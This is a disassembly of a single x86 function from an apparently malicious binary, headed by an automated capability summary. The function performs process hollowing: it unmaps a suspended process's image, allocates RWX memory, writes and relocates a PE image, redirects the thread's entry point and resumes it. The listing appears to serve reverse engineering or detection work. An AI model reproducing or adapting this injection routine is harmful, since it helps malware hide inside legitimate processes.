Function at 0x4012d0
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Inspect section memory permissions
Parse pe header
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x320
mov eax, dword [0x6e107c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0x14]
mov dword [ebp - 0x300], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x2fc], ecx
push ebx
mov ebx, dword [ebp + 8]
mov ecx, 0x5a4d
mov dword [ebp - 0x304], ebx
mov dword [ebp - 0x2f8], edx
mov dword [ebp - 0x2e4], eax
cmp word [eax], cx
je 0x40132c
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045b526
mov esp, ebp
pop ebp
ret
push esi
mov esi, dword [eax + 0x3c]
add esi, eax
cmp dword [esi], 0x4550
jne 0x401345
mov edx, 0x14c
test word [esi + 0x16], dx
jne 0x401357
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045b526
mov esp, ebp
pop ebp
ret
push edi
mov edi, dword [esi + 0x34]
push 0x2cc
lea eax, [ebp - 0x2d0]
push 0
push eax
mov dword [ebp - 0x2e8], edi
call fcn.0045f400
mov edx, dword [ebp - 0x300]
add esp, 0xc
lea ecx, [ebp - 0x2d0]
push ecx
push edx
mov dword [ebp - 0x2d0], 0x10002
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x401848
mov eax, dword [ebp - 0x22c]
lea ecx, [ebp - 0x320]
push ecx
push 4
lea edx, [ebp - 0x308]
add eax, 8
push edx
push eax
push ebx
mov dword [ebp - 0x2dc], eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x401848
mov eax, dword [ebp - 0x308]
mov dword [ebp - 0x2d4], eax
cmp eax, edi
jne 0x401408
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.NtUnmapViewOfSection
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x2d4]
push ecx
push ebx
call eax
add esp, 8
test eax, eax
jne 0x401848
mov edx, dword [esi + 0x50]
push 0x40
push 0x3000
push edx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push ebx
call edi
mov dword [ebp - 0x2d8], eax
test eax, eax
jne 0x401456
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x1e7
jne 0x401848
mov eax, dword [esi + 0x50]
push 0x40
push 0x3000
push eax
push 0
push ebx
call edi
mov dword [ebp - 0x2d8], eax
test eax, eax
je 0x401848
cmp dword [ebp - 0x2d4], eax
je 0x401484
mov eax, dword [ebp - 0x2dc]
lea ecx, [ebp - 0x2f0]
push ecx
push 4
lea edx, [ebp - 0x2d8]
push edx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x401848
mov ecx, 2
mov word [esi + 0x5c], cx
mov eax, dword [ebp - 0x2d8]
cmp eax, dword [ebp - 0x2e8]
je 0x40167f
test byte [esi + 0x16], 1
jne 0x401848
movzx edx, word [esi + 0x14]
mov edi, dword [esi + 0xa0]
mov dword [esi + 0x34], eax
lea eax, [edx + esi + 0x18]
mov dword [ebp - 0x2e0], eax
xor edx, edx
xor ecx, ecx
xor eax, eax
cmp dx, word [esi + 6]
jae 0x40151c
mov edx, dword [ebp - 0x2e0]
add edx, 0xc
mov ebx, dword [edx]
cmp edi, ebx
jb 0x4014f4
mov edi, dword [edx - 4]
add edi, ebx
mov dword [ebp - 0x2dc], edi
mov edi, dword [esi + 0xa0]
cmp edi, dword [ebp - 0x2dc]
jb 0x401502
movzx ebx, word [esi + 6]
inc eax
add edx, 0x28
cmp eax, ebx
jb 0x4014d5
jmp 0x401516
mov ecx, dword [ebp - 0x2e0]
lea eax, [eax + eax*4]
lea eax, [ecx + eax*8]
mov ecx, dword [eax + 0x14]
sub ecx, dword [eax + 0xc]
add ecx, edi
mov ebx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x2e4]
mov eax, dword [esi + 0xa4]
xor edi, edi
mov dword [ebp - 0x2dc], ecx
mov dword [ebp - 0x2f0], eax
mov dword [ebp - 0x2d4], edi
test eax, eax
je 0x40167f
mov edx, dword [edi + ecx + 4]
lea eax, [edi + ecx + 4]
lea ebx, [edi + ecx + 8]
sub edx, 8
mov dword [ebp - 0x310], ebx
shr edx, 1
mov ebx, 0
mov dword [ebp - 0x318], eax
mov dword [ebp - 0x31c], edx
mov dword [ebp - 0x2ec], ebx
je 0x401665
jmp 0x401580
mov eax, dword [ebp - 0x310]
movzx eax, word [eax + ebx*2]
mov cx, ax
shr cx, 0xc
movzx ecx, cx
and eax, 0xfff
cmp ecx, 3
je 0x4015a7
cmp ecx, 0xa
jne 0x40164a
mov edx, dword [ebp - 0x2dc]
mov ecx, eax
movzx eax, word [esi + 0x14]
add ecx, dword [edi + edx]
lea edx, [eax + esi + 0x18]
mov dword [ebp - 0x2e0], edx
xor ebx, ebx
xor eax, eax
xor edx, edx
cmp bx, word [esi + 6]
jae 0x401623
mov edi, dword [ebp - 0x2e0]
add edi, 0xc
mov dword [ebp - 0x2f4], edi
jmp 0x4015e0
mov ebx, dword [edi]
cmp ecx, ebx
jb 0x4015f5
mov edi, dword [edi - 4]
add edi, ebx
cmp ecx, edi
jb 0x401609
mov edi, dword [ebp - 0x2f4]
movzx ebx, word [esi + 6]
inc edx
add edi, 0x28
mov dword [ebp - 0x2f4], edi
cmp edx, ebx
jb 0x4015e0
jmp 0x40161d
lea eax, [edx + edx*4]
mov edx, dword [ebp - 0x2e0]
lea edx, [edx + eax*8]
mov eax, dword [edx + 0x14]
sub eax, dword [edx + 0xc]
add eax, ecx
mov edi, dword [ebp - 0x2d4]
mov edx, dword [ebp - 0x2e4]
mov ecx, dword [ebp - 0x2e8]
sub dword [edx + eax], ecx
mov ecx, dword [edx + eax]
add ecx, dword [ebp - 0x2d8]
mov ebx, dword [ebp - 0x2ec]
mov dword [edx + eax], ecx
mov edx, dword [ebp - 0x31c]
inc ebx
mov dword [ebp - 0x2ec], ebx
cmp ebx, edx
jb 0x401580
mov eax, dword [ebp - 0x318]
mov ecx, dword [ebp - 0x2dc]
add edi, dword [eax]
mov dword [ebp - 0x2d4], edi
cmp edi, dword [ebp - 0x2f0]
jb 0x401544
mov ebx, dword [ebp - 0x304]
mov edx, dword [esi + 0x28]
add edx, dword [ebp - 0x2d8]
mov ecx, dword [ebp - 0x300]
lea eax, [ebp - 0x2d0]
push eax
push ecx
mov dword [ebp - 0x220], edx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x401848
mov eax, dword [esi + 0x54]
mov edi, dword [ebp - 0x2e4]
mov ecx, dword [ebp - 0x2d8]
lea edx, [ebp - 0x314]
push edx
push eax
push edi
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x401848
mov eax, dword [esi + 0x54]
mov ecx, dword [ebp - 0x2d8]
lea edx, [ebp - 0x30c]
push edx
push 2
push eax
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x401848
mov edx, dword [edi + 0x3c]
xor eax, eax
lea edi, [edx + edi + 0x11c]
mov dword [ebp - 0x2d4], 0
cmp ax, word [esi + 6]
jb 0x401746
mov edx, dword [ebp - 0x300]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
pop edi
pop esi
pop ebx
mov eax, ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045b526
mov esp, ebp
pop ebp
ret
mov ebx, dword [ebp - 0x304]
mov eax, dword [edi - 0x10]
mov edx, dword [edi - 0x14]
add eax, dword [ebp - 0x2e4]
lea ecx, [ebp - 0x314]
push ecx
mov ecx, dword [edi - 0x18]
add ecx, dword [ebp - 0x2d8]
push edx
push eax
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x401848
movzx edx, word [esi + 6]
dec edx
cmp dword [ebp - 0x2d4], edx
jne 0x401786
mov ebx, dword [esi + 0x50]
jmp 0x401789
mov ebx, dword [edi + 0x10]
mov eax, dword [edi]
sub ebx, dword [edi - 0x18]
mov ecx, eax
and ecx, 0x20000000
je 0x4017aa
test eax, 0x40000000
je 0x4017aa
test eax, eax
jns 0x4017aa
mov eax, 0x40
jmp 0x401803
test ecx, ecx
je 0x4017cb
test eax, 0x40000000
je 0x4017bc
mov eax, 0x20
jmp 0x401803
test ecx, ecx
je 0x4017cb
test eax, eax
jns 0x4017cb
mov eax, 0x80
jmp 0x401803
mov edx, eax
and edx, 0x40000000
je 0x4017e0
test eax, eax
jns 0x4017e0
mov eax, 4
jmp 0x401803
test ecx, ecx
je 0x4017eb
mov eax, 0x10
jmp 0x401803
test edx, edx
je 0x4017f6
mov eax, 2
jmp 0x401803
and eax, 0x80000000
neg eax
sbb eax, eax
and eax, 7
inc eax
lea ecx, [ebp - 0x30c]
push ecx
push eax
mov eax, dword [edi - 0x18]
add eax, dword [ebp - 0x2d8]
push ebx
push eax
mov eax, dword [ebp - 0x304]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x401848
mov eax, dword [ebp - 0x2d4]
movzx ecx, word [esi + 6]
inc eax
add edi, 0x28
mov dword [ebp - 0x2d4], eax
cmp eax, ecx
jl 0x401740
jmp 0x401711
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.0045b526
mov esp, ebp
pop ebp
ret